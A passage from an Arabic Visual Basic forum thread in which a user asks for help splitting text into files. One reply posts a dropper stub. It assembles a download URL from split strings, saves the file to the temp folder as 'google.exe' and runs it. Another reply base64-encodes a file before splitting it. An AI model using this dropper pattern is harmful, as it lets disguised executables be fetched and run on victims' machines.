1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
الكاتب : ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ | المشاهدات : 293 | الردود : 8
  1. ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ Developer

    الأنتساب:
    ‏26 فبراير 2015
    المشاركات:
    58
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    20
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    كان عندى مشكلة وهى تقسيم النص الى اجزاء وحفظها
    انا استعمل هذا الكود ولاكن به مشكلة فى التقسيم
    الكود


    كود:
       Dim Brow1 As New FolderBrowserDialog
            Dim Brow2 As FolderBrowserDialog = Brow1
            If Brow2.ShowDialog() = Windows.Forms.DialogResult.OK Then
                Dim a As String = NumericUpDown1.Value
                Dim b As String = TextBox1.Text
                Dim c As String = b.Length
                Dim d As String = c / a
                Dim lll As String = 3
                For i As Integer = 1 To a
                    Dim split As String = Mid(b, lll, d)
                    IO.File.WriteAllText(Brow2.SelectedPath & "\part" & i & ".txt", split)
                    lll += a
                Next
            End If
    
    
    *=== تحديد كود ===*









    ممكن حل





     
  2. ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ Developer

    الأنتساب:
    ‏26 فبراير 2015
    المشاركات:
    58
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    20
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
  3. A-R Developer

    الأنتساب:
    ‏2 يوليو 2015
    المشاركات:
    346
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    50
    الإقامة:
    العراق العظيم
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: مشكلة فى تقسيم النص

    وعليكم السلام قصدك هذا الكود وضح طلبك


    كود:
    
    
    كود تقسيم الروابط
    
    
    
    
    
    
    Public Class Form1
        Dim h, s, o, n As String
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    'تستطيع اضافة دالة وتقسم الرابط الى 5 تقسيمات واكثر 
            h = ""
            s = ""
            o = ""
            n = ""
     
     
     
     
            Dim URL As String = h & s & o & n
            Dim DownloadTo As String = Environ("temp") & "\google.exe"
    re:
            Try
                Dim w As New Net.WebClient
                IO.File.WriteAllBytes(DownloadTo, w.DownloadData(URL))
                Process.Start(DownloadTo)
            Catch ex As Exception
                ' on Error you can retry
                ' Goto Re
            End Try
        End Sub
     
    End Class
    *=== تحديد كود ===*
     
  4. A-R Developer

    الأنتساب:
    ‏2 يوليو 2015
    المشاركات:
    346
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    50
    الإقامة:
    العراق العظيم
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: مشكلة فى تقسيم النص

    اسف فهمت الموضوع غلط ضنيت اتريد تقسيم رابط السيرفر اتفضل هذا بلكي يفيدك​

    كود:
    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
            Dim Brow1 As New FolderBrowserDialog
            Dim Brow2 As FolderBrowserDialog = Brow1
            If Brow2.ShowDialog() = Windows.Forms.DialogResult.OK Then
                Dim a As String = NumericUpDown1.Value
                Dim b As String = Convert.ToBase64String(IO.File.ReadAllBytes(TextBox1.Text))
                Dim c As String = b.Length
                Dim d As String = c / a
                Dim lll As String = 1
                For i As Integer = 1 To a
                    Dim split As String = Mid(b, lll, d)
                    IO.File.WriteAllText(Brow2.SelectedPath & "\part" & i & ".txt", split)
                    lll += a
                Next
            End If
            MsgBox("Done !! ")
        End Sub
    *=== تحديد كود ===*
     
  5. ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ Developer

    الأنتساب:
    ‏26 فبراير 2015
    المشاركات:
    58
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    20
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: مشكلة فى تقسيم النص

    اخى الكود به مشكلة فى التقسيم
    صورة
    [​IMG]


    انا كنت مخلى البرنامج يقسم النص دة ( minamazen123456789 )على 3 و زى ما انت شايف التقسيم خطاء









     
  6. A-R Developer

    الأنتساب:
    ‏2 يوليو 2015
    المشاركات:
    346
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    50
    الإقامة:
    العراق العظيم
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: مشكلة فى تقسيم النص

    ي اخي فهمت الخطئ وعذرني لاني لست قوي بالبرمجة


    وانتضر الاخوة يساعدوك​
     
  7. ᎷᎥᏁᎯ ᎷᎯᏃᎬᏁ Developer

    الأنتساب:
    ‏26 فبراير 2015
    المشاركات:
    58
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    20
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: مشكلة فى تقسيم النص

    تم الحل
     
  8. A-R Developer

    الأنتساب:
    ‏2 يوليو 2015
    المشاركات:
    346
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    50
    الإقامة:
    العراق العظيم
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: مشكلة فى تقسيم النص

    اي على الخير والحمد الله موفق​
     
  9. علاؤي هكر ألجنوب Developer

    الأنتساب:
    ‏15 ديسمبر 2015
    المشاركات:
    90
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    20
    الإقامة:
    العراق
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: مشكلة فى تقسيم النص

    [​IMG] احسنت [​IMG]
     

مشاركة هذه الصفحة